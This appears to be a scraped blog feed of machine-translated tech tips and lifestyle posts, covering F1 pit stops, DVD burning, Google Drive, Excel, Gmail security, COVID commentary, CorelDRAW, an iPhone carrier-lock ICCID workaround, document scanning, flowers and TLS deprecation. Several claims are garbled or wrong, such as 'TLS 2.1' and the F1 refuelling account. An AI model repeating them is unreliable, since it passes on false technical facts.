racing, the car will be driven by a rider into a small stop lane, just before the waiting stand has been loaded at a speed of about 60km / h. This requires extremely high precision, riders have to stop the car extremely accurately to not hit the waiting workers. A person will lift the car with a hydraulic lift and the other two members will balance the sides of the car.\nAs soon as the car stopped, 12 workers would simultaneously change four wheels. Each tire will have 3 people waiting, one will remove the wheel nut with the pneumatic screw gun, the wheel is removed, the new wheel is installed and the person holding the gun is ready to tighten the belt.\n  With the long race, the car will be filled with fuel, which can change the driver and with some vehicles, with some types of light and glass cars will be cleaned.\nThere are skillful mechanic teams, the car has not stopped completely, it can twist the gun valve to the nut. This, which requires absolute accuracy because of the powerful torque of these guns, only a small mistake when used can lead to very serious injuries.\nWhen the gun leaves the wheel, the mechanic will check it carefully to make sure everything is ready, who will signal the car to join the track.\nGrounding vehicle, lifters and car regulators quickly leave as soon as the pit road lights are bright, the car rushes into the track.\nThe speed of the pitstop has reached its peak, always hovering at the threshold of two seconds, even less than two seconds.\nWhy, can they achieve such a short time?\nIn order to achieve such a time record, the fleets all have terrible training time. Pat Symonds, chief technology officer of Williams F1, said his team made about 1700 pitstop phases each season including workshops at the weekend.\n  Besides, the FIA ​​(World Automobile Federation) introduced a law to ban gasoline pumping in F1 tournament from the 2010 season and it also suggested that the pitstop time reduced significantly.\nThe pumping of more fuel to help things happen more safely, faster, because in the past there have been a few fire accidents occurred. In 1994, at the German GP circuit, Jos Verstappen's car was engulfed in fireballs. In 2009, in Brazil GP, Kimi Räikkönen's car caught fire.\nDifficult to imagine in the next years, how will the pitstop grow? Can the pitstop's time be reduced to 1.5 seconds? Let's wait, it will definitely be interesting.\nncG1vNJzZmismaXArq3KnmWcp51ksaq%2FwqitnqpdqbWmecyyqq2doq56sLKMmmScmaJiwLW7z2agp2WcmsC0edOhmKdlYmLApq%2FOp5usZZGpeqe70aaspZldZnq1vsCcog%3D%3D\n","link":"/post/discover-the-mystery-of-a-car-stop-in-less-than-2-seconds-at-formula-1-track/","section":"post","tags":null,"title":"Discover the mystery of a car stop in less than 2 seconds at Formula 1 track"},{"body":"This wikiHow teaches how to burn an MP4 video file onto a blank DVD disc. In order to make a DVD playable in most DVD players, you'll need to use free software such as DVD Flick (Windows) or Burn (Mac). If you just want to store the MP4 or...\nMethod 1of 4:\nBurning a Playable DVD on Windows  Place a blank DVD in your computer's DVD tray. You can use any of the rewriteable DVD formats, as long as your DVD burner supports them. This includes DVD±R and DVD±RW, though DVD±RW discs are less likely to work in standalone DVD players. If any auto-play windows open after you insert the DVD into your computer, close them before continuing. If your computer doesn't have a DVD tray (signified by the word \"DVD\" on or near the tray), you'll first have to buy and plug in a USB DVD tray.   Download the DVD Flick program. This program is free, and can encode MP4 files for playback on most DVD players. To download it:[1] Go to http://www.dvdflick.net/download.php in your browser. Click Download DVD Flick in the middle of the page. Wait for the download to start. You may also need to select a save location and/or confirm the download.   Install DVD Flick. Double-click the DVD Flick setup file once it's done downloading, then do the following: Click Next Check the I accept box. Click Next four times. Click Install Click Next Click Finish   Open DVD Flick. Double-click the DVD Flick icon, which resembles a film strip. The DVD Flick window will open. You may have to click OK or Close on a tutorial window before proceeding.   Place an MP4 file in the DVD Flick window. Find the MP4 video that you want to burn onto your DVD, click and drag the video onto the DVD Flick window, and release the mouse button. This will drop the file onto the DVD Flick window. If DVD Flick opens in a full-screen window, click the double-square icon in the upper-right corner of the window and then click and drag the top of the window to reposition the window on the screen. If you have two windows open, you can drag one window to the far-left side of the screen to snap it there and then select the other window that you want open to snap it to the other side of the screen.   Click Project settings. This tab is at the top of the DVD Flick window. Doing so will open the DVD Flick Settings page.\n  Click the Burning tab. It's on the left side of the page.\n  Check the \"Burn project to disc\" box. You'll find this near the top of the page. Checking this box ensures that your MP4 file will be burned onto your DVD disc.\n  Click Accept. It's at the bottom of the window. This saves your settings and returns you to the DVD Flick main page. If you plan on burning future projects using DVD Flick, click Use as defaults instead.   Click Create DVD. This button is at the top of the window. Doing so will prompt DVD Flick to begin encoding and burning your MP4 file. If prompted with a warning about choosing a different file name, just click Continue.   Wait for the process to conclude. DVD encoding and burning can take several minutes to an hour or more depending on the length of the video. If you receive an error during this process, see the \"Tips\" section at the bottom of this article for another way to burn your MP4 onto a DVD with DVD Flick.   Test your DVD. Once the process is complete, you can eject your DVD and insert it into the DVD player of your choice. Again, if this doesn't create the DVD properly, see the \"Tips\" section for a potential fix.  Method 2of 4:\nBurning a Playable DVD on Mac  Put a blank DVD in your drive. You can use any type of blank DVD to create a video DVD, but you'll have the most success with DVD±R discs on the widest range of players. If any auto-play windows open after you insert the DVD into your computer, close them before continuing. If your computer doesn't have a DVD tray (signified by the word \"DVD\" on or near the tray), you'll first have to buy and plug in a USB DVD tray. Make sure that you buy a version that fits your computer's USB slots, since modern Macs use USB-C slots rather than traditional USB slots.   Download and install Burn. Burn is a free program that, among other things, allows you to burn MP4 files to DVD discs. To do this, go to http://burn-osx.sourceforge.net/Pages/English/home.html in your browser, click Download Burn in the lower-right side of the page, and then do the following: Open the Burn ZIP folder by double-clicking it. Click and drag the Burn app icon into the Applications folder. Double-click the Burn app icon. Verify the download if prompted.   Open Burn. Click Spotlight  , type in burn, and double-click the Burn option when it appears in the search results. You may have to right-click the Burn app icon, click Open in the menu, and then click Open when prompted to get Burn to open correctly.   Click the Video tab. It's at the top of the Burn app window. This will shift the Burn file window to the \"Video\" section.\n  Enter a DVD name. Click the text field at the top of the Burn window, then replace the current text (usually \"Untitled\") with whatever you want to name your DVD.[2]\n  Click ＋. It's in the bottom-left corner of the window. A Finder window will open.\n  Select your MP4 file. Click the MP4 file that you want to burn onto your DVD.\n  Click Open. It's in the bottom-right corner of the Finder window. This will prompt the MP4 file to appear in the Burn window.\n  Click the file type drop-down box. This option is in the upper-right side of the Burn window.\n  Click DVD-Video. It's in the drop-down menu.\n  Click Convert if necessary. If you see a Convert option appear after selecting the file type, click it, then follow any on-screen prompts. This will ensure that your DVD file is playable on the DVD disc.\n  Click Burn. It's in the bottom-right corner of the window. Your MP4 will begin burning onto the DVD disc.\n  Follow any on-screen prompts. You may receive a notification when the burn is complete. If not, just wait for the progress bar to disappear. Once the burn is complete, you can eject your DVD and play it on any standard DVD player.\n Method 4of 4:\nBurning a Data DVD on Mac  Buy and attach a USB DVD drive. Since most modern Macs don't come with DVD drives, you'll need an external one to burn your data DVD. If your Mac uses USB-C (oval) ports rather than USB 3.0 (rectangular) ports, make sure that you get a DVD drive that uses a USB-C connection, or buy a USB 3.0 to USB-C adapter.   Insert a blank DVD into your Mac's CD tray. Make sure that the DVD doesn't have any files on it before doing this.\n  Open Finder. Click the blue, face-shaped icon in your Mac's Dock to do so.\n  Go to the MP4 file's location. On the left side of the Finder window, click the folder in which your MP4 file is stored.\n  Select the MP4 file. Click the MP4 file to do so. The file will become highlighted.\n  Click File. This menu item is at the top of the screen. A drop-down menu will appear.\n  Click Burn [movie] to Disc…. It's in the drop-down menu. Doing so will open the Burn window.\n  Click Burn when prompted. It's near the bottom of the pop-up window.\n  Click OK when prompted. It's in the bottom-right corner of the window. After you do this, you can eject your DVD from your computer. You should now be able to use your DVD to open and view the MP4 file on any computer with a DVD drive.\n  Lesley Montoya Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqlp7tuuc9tZK2nXZnDpQ%3D%3D\n","link":"/post/how-to-burn-mp4-to-dvd/","section":"post","tags":null,"title":"How to Burn MP4 to DVD"},{"body":"Documents stored on Google Drive are built-in content editors, but some features you want to use as in Office are not in the editor. If so, users can install the AwesomeDrive for Google Drive utility to edit documents stored on Google Drive with Office office tools installed on the computer.\nThis utility will save time, no need to download the document you want to edit. Users can create new documents such as Word, Excel, PowerPoint and edit directly on Google Drive. When this editing process is finished, the content is automatically saved and re-uploaded to Google Drive. The following article will guide you how to use the AwesomeDrive for Google Drive utility.\nThe tips should know with PDF files on Google Drive How to add and update table of contents in Google Docs How to let others upload files to your Google Drive How to download PDF files on Google Drive is blocked download 1. How to create documents on Google Drive To use this utility, the computer must use Office 2010 or later version, the document size is smaller than 32MB. Then you click on the link below to install AwesomeDrive for Google Drive utility.\nDownload AwesomeDrive for Google Drive utility   Step 1:\nLog in to your personal Drive account and then click on the widget icon in the address bar. When the user is asked to connect the gadget to Google Drive, click Allow to agree.\n  Step 2:\nThen you need to skip the interface to introduce AwesomeDrive for Google Drive. Going back to the personal Drive interface, clicking the New button will see the options for creating documents.\nWord Document: Create a Word document in docx format. Excel Document: Create an Excel spreadsheet in xlsx format. PowerPoint Document: Create presentations for PowerPoint slides in pptx format.   Step 3:\nClick on the type of document you want to create, for example, to create a text document, then click on Word Document. Then enter the name for the document you want to create and click the Create button to proceed.\n  Now display the table to open Word on the computer, click Open Word . In case the user wants the Word program to automatically open each time they create and edit through AwesomeDrive for Google Drive, then click Always open these types of links in the linked application.\n  Step 4:\nSoon the Word editor on the computer is opened. To ensure the safety and security of documents, Word will scan the virus and hide the edited Ribbon. Click Enable Editing to confirm and activate the Ribbon.\n  The Word interface with the previously created document name is displayed for us to enter content.\n  After editing, press save and close the document as usual. Files are saved and synchronized to Google Drive.\n  With Excel how to do the same as above, also create files on Excel computer.\n  PowerPoint does the same thing as above.\n  2. Instructions for editing Google Drive documents Step 1:\nTo edit documents saved on Drive with Office tools, you need to convert the interface into a list format. Click the list icon to the right of the interface as shown below.\n  Step 2:\nClick on the previously created Word document and click the Open file icon as shown. Content is immediately opened on the computer's Word tool.\n  3. Instructions for setting AwesomeDrive for Google Drive During use if the utility has problems or users want to edit the operation of the utility, they can be reset.\nStep 1:\nClick on the utility icon at the bottom of the address bar to display the utility's settings panel. Here we will see the Reload icon to reload the utility if the process is having problems.\n  Step 2:\nClick on the gear icon to change the settings. There are 2 options here:\nCreate MS Office files: Turn off the document creation option in the New menu. Open any type of files: Turn off editing options on documents.   Instead of using the document editor available on Google Drive, you'll use the Office office toolkit installed on your computer right away. The AwesomeDrive for Google Drive utility has 2 options for creating and editing Google Drive documents with the computer Office suite.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2UnsFusM6crKadnqnAbrvNZp6op5ehsm6w0aKtnmWnnsGpecyimquno6SztXnOn52im5U%3D\n","link":"/post/how-to-edit-documents-on-google-drive-with-microsoft-office/","section":"post","tags":null,"title":"How to edit documents on Google Drive with Microsoft Office"},{"body":"High-quality stock photos have always been free to download or free, but you need to be careful because you may violate copyrights. Today, there are dozens of websites that offer stock images such as Shutterstock, Getty Images or iStock, and these platforms know how to monetize your image needs, by offering paid image packages for free. worry about copyright issues. But if you need to find quality, free, and unlicensed stock images, there's always a way to do that.\nFirst, we come up with some tips on how to find beautiful, non-copyrighted images on the internet through Google's image search engine - Google Image Search.\nFirst, just enter any keyword you're interested in into the Google search box, press Enter and then select the 'Images' tab. Immediately, you will find thousands of images related to keywords. The problem, however, is that some of these may be copyrighted, and using copyrighted images without permission is clearly a violation of the law.\nSo how do you know if the image you want to use is copyrighted? Thankfully, the Google Search tool has a built-in image filtering feature, specifically as follows:\nStep 1: Click on the Tools (Tools) in the lower right corner to the right search box. Will have an options menu appear, including image filter items by: size ( size), Color (Color), Use (Usage rights), type (Type) and time (Time).\n Click on the Tools section Click on Usage rights, there will be many options that interest you, as listed below. Choose the category that best suits your intended use.\n Click Use rights Google Image Search is easy to use and fast, but images tend to be quite generic and often not so aesthetically pleasing - even by stock image standards. That's why many people like to use websites that provide stock photos for free. The downside of these sites is that they have less choice than Google Image, but in return the images are usually of higher quality and seem more 'professional'.\nHere are some of the most popular free stock photo websites today:\nUnsplash Pixabay Pexels StockSnap Burst ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6Zo7Fuwc2loJydnqiypXnIppignaNivK9506GcZqGeqbKzusSt\n","link":"/post/how-to-find-unlicensed-images-on-the-internet/","section":"post","tags":null,"title":"How to find unlicensed images on the internet"},{"body":"A rational number consists of two parts, an integer and a decimal. The whole part is the part before the comma, the part after the comma is called a decimal. Excel does not have specialized tools or functions to get numbers after commas. However, you can use the built-in tools to calculate whole and decimal parts.\n  Use the TRUNC function to get the number before the comma To get the part before the comma is very simple, you use the TRUNC function to truncate the part after the comma with the following syntax:\n= TRUNC (number, [num_digits]).\nInside:\nTRUNC: is the name of the function used to round a number to an integer by removing its decimal part. Number: the original number. Num_digits: A number that identifies the precision of truncation. The default value for num_digits is 0 (zero). Note that INT and TRUNC are also functions that take integers. However, the INT function rounds down to the nearest integer based on the value of the fractional part of that number. While the TRUNC function takes an integer part by removing its fractional part.\nThe INT and TRUNC functions differ only when the original number is negative. TRUNC (-10.25) = -10 while INT (-10.25) = -11.\n  Get the number after the comma After you get the number before the comma (whole part) with the TRUNC function, you subtract the result of the TRUNC function and get the decimal.\n  Combining the steps above, you can always use the following formula:\n= rational numbers - TRUNC (rational numbers) .\nIn which rational numbers can be a position of cells containing data or a number to round. With the above formula, you get the same result:\n  If you want the result to be a positive number, you use the ABS function to return the absolute value of the result by the formula = ABS (rational number - TRUNC (rational number)) .\n  Above Software Tips showed you how to take the number after the comma in Excel. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp%2BVqXqvwcybnKurXZaztbHRZpqopZ2WwG61zWacsZuVoQ%3D%3D\n","link":"/post/how-to-get-numbers-after-commas-in-excel/","section":"post","tags":null,"title":"How to get numbers after commas in Excel"},{"body":"  Gmail is an account commonly used today to create, send or manage email. Because of its privacy, the security of Gmail is very important for users. If you find out that an unauthorized user has logged into your Gmail account, you can choose to log out of your Gmail account remotely to prevent bad people from using your Gmail to do bad things. The following article of TipsMake.com will help you know how to log out of Gmail remotely to avoid account hacking.\nIf your account shows signs of hacker attack and hijack then you must find a way to get them out of control of your account as soon as possible.\nYou can do this by logging into your account on a trusted device and logging out your Gmail nick in all other suspicious accounts. There are several methods to help you accomplish this task.\n1. Change your account password Each Gmail account has a unique login password. If you already use your Gmail account on another electronic device, you can use the password change method so that the accounts that have not been updated with the new password can no longer log in to your account.\nTo change your password, log into your Gmail page and click on the avatar icon located in the right corner of the Gmail interface.\nThen click on Google Account .\n  The Google Accounts website will be turned on in another browser tab. Now notice the option on the right hand side of this page, there is a line Security , click on it.\n  When the Security interface of the Google Account is turned on, you can see the Password section in the Sign in to Google section .\nYou can also see the last time you changed the password for your account.\n  You need to enter the current password of your Gmail account to begin making password changes for the account.\n  Enter the password you want to change into the box New password , enter the chosen password to change to Confirm new password to make sure there are no errors in typing errors when selecting a password.\nFinally click Change Password to confirm the change.\n  With the above steps, you have changed the password of your Gmail account.\n2. Log out of your entire Gmail account in other browsers Except for changing the password for your Gmail account, you can also choose to log out of your entire Gmail account.\nYou log in to Gmail through a web browser. Then scroll to the bottom (if your mail folder has too many messages). You will see the text in the bottom right corner: The most recent account activity .\nClick on Details to see the list of devices that are logged into your account.\n  After clicking on the details, a browser window will appear. You can see the login activity related to your account in this.\nThere is a statistics table of the Access Type column, which lists the browsers and mobile devices that have accessed your Gmail.\nThe location (IP address) of the device that is logged into your Gmail account.\nDate / Time to indicate when your Gmail account was logged in.\nYou can then click Sign out of all other Gmail web sessions to log out all other accounts (except the currently logged in account).\n  After logging out of other accounts you may see a Gmail prompt that you should change your password when you detect an unusual login.\nIf you want to change the password, click on the green text to change the password .\n  But the above method makes you log out of the entire account that has ever logged in without distinguishing anything. If you only want to log out of certain devices, you can follow the third method below.\n3. Log out of Gmail from certain devices To be able to log out of Gmail remotely from devices you don't want you can do as the first steps.\nYou click on the ava icon in the right corner of the Gmail interface and click on Google Accounts .\n  Switch to the Security tab of the Google Account .\n  You then scroll down the page to search your Devices section . Click on Device Manager in this section.\n  You can see your recently used devices, along with the time and place to access Gmail.\n  When you click on a device line you can see the word Delete . Clicking on it will deprive the account access at this device which also means logging out of the remote account.\n  Thank you for reading our article TipsMake.com on how to log out of Gmail remotely to avoid account hacking. Wish you can follow the instructions and implement successfully.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ec6nZKGnp2LBsHnLqJ5mp6WperCyjKCkmqGcYr%2Bmuc6tnKWxXam8bq3VqKCdZZGYsLDBza1koZmToLavsw%3D%3D\n","link":"/post/instructions-on-how-to-log-out-of-gmail-remotely-to-avoid-account-hacking/","section":"post","tags":null,"title":"Instructions on how to log out of Gmail remotely to avoid account hacking"},{"body":"The Corona disease is spreading worldwide and has raised concerns for many people. Up to now, the number of infected people has increased to over 109,900 people in 97 countries and caused more than 3,800 casualties.\nIt is difficult to foresee how the damage Corona virus is and will affect. Will all efforts, attempts to contain and eliminate this virus be soon successful? Or will it become a global pandemic?\n Recently, both Tesla CEO Elon Musk and billionaire Bill Gates have expressed their thoughts through tweets on Twitter and blogs, the interesting thing is: they offer very opposite views.\nOn March 7, 2020, Elon Musk tweeted: \"Panicking because of the Corona virus is a stupid thing to do.\"\nContrary to the above reaction, Bill Gates posted a new article on his blog page titled: \"How to deal with COVID-19\".\nHe wrote: \"Over the past week, COVID-19 has had the unpredictable signs of a century-pathogen that worries us. I hope it's not too bad, but be aware of it. when there's progress. \"\nYou can clearly see the difference when putting these lines next to each other:\nElon Musk: \"Panicking because the Corona virus is a stupid thing to do.\"\nBill Gates: \"I really hope it's not too bad, but be aware of them until there is progress.\"\nBoth of them possess great creative minds. However, one person's tweet is quite negative, the other's puts everyone's safety first.\n What role does emotional intelligence play in this phenomenon?\nEmotional intelligence is the ability to identify, understand and manage emotions. This is a very important ability in life. Especially in the current situation of nCoV epidemic, it is like a \"life buoy\" to help you control your emotions, make smart decisions and behave.\nThe tweets of Elon Musk and Bill Gates are of interest, because they are the people who have a great influence on millions of people, all their actions are followed by people.\nIn this situation, Bill Gates did what he should. The Centers for Disease Control and Prevention (CDC) said that with the current complicated situation of virus, it is very likely that it will become a pandemic. So what most people should do now is stay calm and keep up to date with the situation.\nThe problem with Elon Musk's tweets is that his intonation seems to diminish the seriousness of the current situation, underestimating the efforts and sacrifices of medical doctors, doctors and scientists. Elon Musk posted another tweet to explain the content of the old tweet. But very few people read them.\nOn the contrary, Bill Gates has written in more detail and has a more positive nuance. He talked about the dangers posed by COVID-19, and why he believes the current situation is a \"case study\" of how the world needs to solve an urgent problem and improve how Deal with disease in general.\nHis response shows the ability to balance reason and emotion, a mirror worthy of imitation. Bill Gates's words speak a part of his personality, but the actions he does make us admire even more.\nBill Gates invested in the development of the SARS-CoV-2 Test Kit at home\n Last month, the Bill and Melinda Gates Foundation pledged up to $ 100 million in an effort to help global response to COVID-19, and last week it announced it would raise another $ 5 million to support the Greater Seattle public health agency to combat the Corona virus. A project funded by Gates is particularly notable: providing home test kits to people who believe they are infected by the virus.\nAccording to the Seattle Times, people who fear they might be infected can use it to take samples of fluid in the nasal cavity, which they can then send for analysis. Results will be available in one to two days and will be shared with local health officials who are responsible for informing patients who have tested positive.\nAlso, the newspaper said: \"In addition, infected people will be able to provide information via online forms about the trip and contact others. This will help health officials easily identify. The location of others may need to be checked or quarantined, as well as monitor the spread of the virus and identify possible hot spots. \"\nThis can be an effective preventive measure. For one of the reasons it is difficult to predict the final effect of Corona virus is due to lack of test results. For example, in the United States, the actual number of cases can be much higher than confirmed cases. And without knowing how serious COVID-19 has entered the United States, people will not take the right precautions.\nLesson for business owners\nThe question is: \"Should investment in potential issues like this be?\" Bill Gates said: \"Obviously, billions of dollars for pandemic efforts are a lot of money. But that's the scale of investment needed to solve the problem. And with the economic damage that a pandemic The disease can cause, look at how COVID-19 is disrupting the supply chain and the stock market, not to mention people's lives - that would be a bargain. \"\nIn other words, when facing great risks, be prepared before it strikes.\nSo the next time you are faced with a situation where others are touched, do not mock and lower their emotions. Instead, sympathize and share with them. In doing so, you will see a bigger perspective and may be part of the solution.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKyYpp1dqcSmsdNmrpqrXaW8tMDEnWSamp%2BqwW6vzq%2BgnWlpYq%2B2wIyboKWkXZyutbHSZpinnF2aubC6jKasrKNdna6lecOinZ%2Bdopq7tXnRnpicrJmku7R5yK1ksJmjYq6tuIyamaitpGKyrrvToqanmZxitq%2FAxKWjop%2BVo7Cm\n","link":"/post/it-was-all-about-emotional-intelligence/","section":"post","tags":null,"title":"It was all about emotional intelligence!"},{"body":"Pen Tool (Pen Tool) The Pen tool is used to draw straight lines, curves and closed areas ( Figure 1 ). With the Pen tool, draw the curves faster. The drawing is similar to the Bezier tool, but according to the drawing line with the cursor, it is easier to navigate.\n  Figure 1\nThe curve structure with the Pen tool is similar to the curve drawn with the Bezier tool ( Figure 2 ).\n  Figure 2\nDouble clicking the mouse at the last point will end the drawing line with the Pen tool ( Figure 3 ).\n  Figure 3\nClicking on the first point coincides with the end point to create a closed area ( Figure 4 ).\n  Figure 4\nThe Pen tool performs drawing the open curves in the same way as the Bezier tool.\nPolyline Tool (Polyline Tool) The Polyline tool is used to draw lines and curves similar to the Freehand tool but with the Auto-Close Curve attribute ( Figure 5 ).\n  Figure 5\nAuto-Close Properties Curve: Before performing drawing with the Polyline tool, click on this icon (the selected icon will sink). When we draw straight lines and similar curves, we will create closed areas.\n3 Point Curve Tool (3 Point Curve) This tool is used to draw curves by specifying the width, height and center of the curve ( Figure 6 ).\n  Figure 6\nArtistic Media Tools (Artistic Media) \n Artistic Media tool is very useful in creating contour effects ( Figure 7 ).\n  Figure 7\nArtistic Media tool has 5 different types, each with a separate attribute bar ( Figure 8 ).\n  Figure 8\nInteractive Connector Tool (Interactive Connector Tool) \n This tool performs links between objects, which are useful for drawing diagrams. ( Figure 9 )\n  Figure 9\nDimension Tool (Dimension Tool) \n Dimension tool is the last tool in the line drawing tool group, used to create dimension lines (showing the distance between two points or the size of an object), measuring angles and being able to correct the Its part depends on the intended use ( Figure 10 ).\n  Figure 10\nDimension tool is very useful for technical drawings, circuit boards need high accuracy.\nDimension tool has 6 types of options, each creating different size lines. - Auto Dimension Tool : create dimension lines that can be converted into horizontal or vertical size depending on the click position to determine the measuring point and the mouse drag direction ( Figure 11 ).\n  Figure 11\n- Vertical Dimension Tool : creating lines due to the size of the vertical dimension ( Figure 12 ).\n  Figure 12\n- Horizontal Dimension Tool : creates lines due to the size of horizontal size ( Figure 13 ).\n  Figure 13\n- Slanted Dimension Tool : create oblique dimension lines ( Figure 14 ).\n  Figure 14\n- Callout Dimension Tool : create comment lines with text labels placed in different positions ( Figure 15 ).\n  Figure 15\n- Angular Dimension Tool : creating measuring lines, measuring units with degrees, radians, or gradients ( Figure 16 ).\n  Figure 16\nLam Khe\nncG1vNJzZmismaXArq3KnmWcp51ksLC%2BxKWbq5mnYrmmv9KopWZxXae8orCMnamar5mjtG7AzqijrGWTpLu1tc2unJ0%3D\n","link":"/post/lesson-9-road-drawing-tools-continued/","section":"post","tags":null,"title":"Lesson 9: Road drawing tools (continued)"},{"body":"Apple increasingly strong hands with the network lock iPhone (iPhone Lock). More than 1 month ago, Apple has changed the activation mechanism, so that iPhone Lock can operate to have a SIM paired in the machine, not simply replace SIM like before.\nIn some cases, iPhone Lock must update to the latest version of iOS 12 to activate so some older devices such as iPhone 5 or 5c cannot be used because it cannot be upgraded to iOS 12.\nOn May 14, Apple officially released iOS 12.3 update with some new features and software bug fixes. However, this latest update does not allow iPhone Lock to change the ICCID code directly on the device to activate it on the main screen.\nThe ICCID is a 20-digit sequence of numbers entered into the machine to 'trick' the system that is using the SIM pairing of the right operator, from which the iPhone Lock can be activated.\n  For iPhone Lock to work, ICCID code is required.\nIn order to overcome the situation of not changing ICCID code directly on the activation screen, users in Vietnam can insert SIM cards to international machines and exchange SIM applications directly in the settings, then reinstall them to Lock machine to activate.\nCurrently, when using iPhone Lock is getting more difficult than before (complicated use process, now requires both international iPhone to activate), the price of this device has dropped sharply in Vietnam market. iPhone XS Max Lock is only about 17 million, before it cost more than 20 million.\n  iPhone XS Max version Lock has dropped to just over 17 million.\nIn the future, Apple will surely have even more aggressive moves to prevent the use of iPhone Lock.\nncG1vNJzZmismaXArq3KnmWcp51kvK95yKiqZmliaHqqvMeopZ5lnKSwrHnCmqWnp6RisKmtzaCcZqyYmnqqr8Kim2abn5mybrDIq5ycrJyuerC6jK2fnmWgnbyvsYyapZ1lpJ22tHnIrGSaZZaexQ%3D%3D\n","link":"/post/on-ios-12-3-iphone-lock-cannot-change-the-iccid-code-directly-on-the-phone-and-this-is-a-fix/","section":"post","tags":null,"title":"On iOS 12.3 iPhone Lock cannot change the ICCID code directly on the phone and this is a fix"},{"body":"Scanning documents is a common practice in the process of studying and working. There are quite a few document scanning apps on the app store. But you don't need those apps at all if you own an iPhone or iPad. Here's how you scan a document to PDF using iPhone and iPad.\nStep 1: Open the Notes app\n  \nIn the Note app, when you create a new note, you'll see a small camera icon in the bottom corner. Touch this icon and go to the bottom corner, you will see the option to Scan documents.\nStep 2: Select the scan area\n  \nAfter choosing to scan a document, you can take the machine to the part of the document to be scanned. The application will automatically recognize the area with the scanned information in a yellow frame and automatically record. You can also do it manually by pressing the shutter button.\nStep 3: Edit the document\n  \nAfter scanning the document, you will have options to make the necessary edits. You can use the crop tool to adjust the corners or cut out parts you don't need. You can also change document colors to grayscale, black and white, and photos, or rotate pages.\nIf you want to add more pages, tap the \"+\" icon at the bottom right and continue capturing the document as in step 2.\nStep 4: Save and share the document\n  \nAfter you finish scanning and editing the document, the File will automatically save as a PDF so you can share it via email or messaging apps. You can also save documents locally or upload them to storage applications such as Google Driver.\nThus, you have completed scanning documents with iPhone and iPad without installing additional third-party applications. Good luck.\nncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddqLCiuoydppytnZq7tb%2BMnaCrnZOpubp51Kygp59dnr2pu82eZKiqXZ69orA%3D\n","link":"/post/steps-to-scan-documents-directly-using-iphone-or-ipad/","section":"post","tags":null,"title":"Steps to Scan documents directly using iPhone or iPad"},{"body":"The flowers grow on climbing vines, beautiful, durable vitality, good sun tolerance, year-round flowering below will definitely help your balcony stand out the most in the street.\nUnited States ten o'clock American ten-hour flowers are known as the queen of good heat-resistant flowers. This is a herbaceous plant, easy to grow, easy to live, does not require much time to care. Ten-hour flowers have many colors from red, white, pink, yellow to a mixed color.\n  Climbing roses   Climbing roses have good vitality, easy care, easily winding in all terrains. They have many vibrant colors such as white, yellow, dark red, light pink, purple pink . and have a characteristic cool aroma. Climbing roses are one of the bright candidates for you to choose when decorating your balcony.\nconfetti   This is one of the easy-to-grow flowers, resistant to inclement weather and flowers all year round. A stack of confetti with many different colors will help your balcony become beautiful and outstanding.\nPrimrose   Primrose or fluorescent flowers have many branches that thrive, climbing quickly. The bell-shaped flower with brilliant yellow color helps bring vitality and youthfulness to your living space.\nUnited million bells   Million bell flower or bell flower, is a herbaceous plant, very well tolerates the sun and rain, does not require much care and flowering all year round. Flowers are shaped like cute little bells with a variety of colors from red, yellow to purple.\nBlack eye   The mystical eye belongs to the kind of convolvulus-like creeper with colorful flowers blooming all year round. The hypocotyls are very strong, need a lot of light, suitable for growing pots hanging outdoors or planted next to fences, balconies to climb.\nPeriwinkle flowers   Periwinkle is also known with many different names such as sea, yang, coconuts, ivy. Coconut is easy to grow, suitable for dry climates, high temperatures and sunshine. Periwinkle flowers all year round with different colors such as white, purple, pink, red.\nFlower tigons   Tigon or heart flowers burst with good sun, flower all year round and less pests. Tigon flowers not only filter the air very well but can also make medicine.\nUnited military history   Using military means creepers, very good sun tolerance, a fairly simple way of planting and caring. This is a plant suitable for balcony or terrace, drooping trees to shade the house and decorate very beautifully.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJucmq2knrO2uIybmKWbn6PGbrLLqK6eqqNisqK%2F2GarqGWcnsOm\n","link":"/post/the-beautiful-balcony-flowers-easy-to-live/","section":"post","tags":null,"title":"The beautiful balcony flowers, easy to live"},{"body":"Microsoft, Google, Apple and Mozilla jointly announced that they will stop using TLS 1.0 and TLS 1.1 security communication protocols from 2020.\nTLS (Transport Layer Security) is the protocol used to encrypt the connection between the browser and the website the user visits.This protocol creates an encrypted channel for data to be sent and received to encrypted websites and unreachable third parties.While it is important for all activities, it is especially important when you provide information such as passwords, accounts .\nOver the past 20 years, browsers have been supporting TLS 1.0, then TLS 1.1 successors, but less and less have used this protocol and moved to TLS 1.2 and 1.3 standards.The new standard is not only better security but also supports new network protocols like https / 2 and speed up web browsing.\nMore than 94% of pages surveyed by Qualys SSL Labs currently support TLS 2.1 so the over 20-year-old protocol has been 'retired' and replaced with a new, safer protocol.\n  94% of websites in the survey used TLS 1.2\nChrome, Safari, Edge or Firefox statistics also show that most users no longer use this protocol.\nGoogle says only 0.5% of httpsS connections on Chrome use TLS 1.0 or TLS 1.1. Apple said that less than 0.36% httpsS connection on Safari uses TLS 1.0 or TLS 1.1. Microsoft says only 0.72% of secure Edge connections use TLS 1.0 or TLS 1.1. Firefox has the highest number of connections using TLS 1.0 or TLS 1.1, up to 1.2% but still a very small number. Each company has its own plan to stop using this protocol.\nGoogle will release TLS 1.0 and TLS 1.1 stop notifications on Chrome 72, from Chrome 81 will completely abandon this protocol. Mozilla stopped supporting TLS 1.0 and TLS 1.1 on Firefox from 3/2020.Users of Beta, Developer and Nightly will see these changes sooner. Microsoft will stop supporting TLS 1.0 and 1.1 on Edge and Internet Explorer in the first half of 2020. Apple stopped supporting these protocols on iOS and macOS from 3/2020. Check if you are affected\nFor Windows users, you can check to see if stopping support for these protocols affects you by disabling them.In the Windows Internet Options section, disable TLS 1.0 and 1.1 to see if it affects pages or access.\nSteps to disable TLS 1.0 and 1.1 on Windows\nStep 1 - Open Start Menu, type Internet Options and select Internet Options Control Panel.\n  Open Internet Options\nStep 2 - Open Internet Properties and select the Advanced tab .\nStep 3 - scroll down and find Use TLS 1.0 and Use TLS 1.1 in Security.Then uncheck these 2 items.\n  Uncheck to use TLS 1.0 and 1.1 protocols\nStep 4 - Click Apply and click 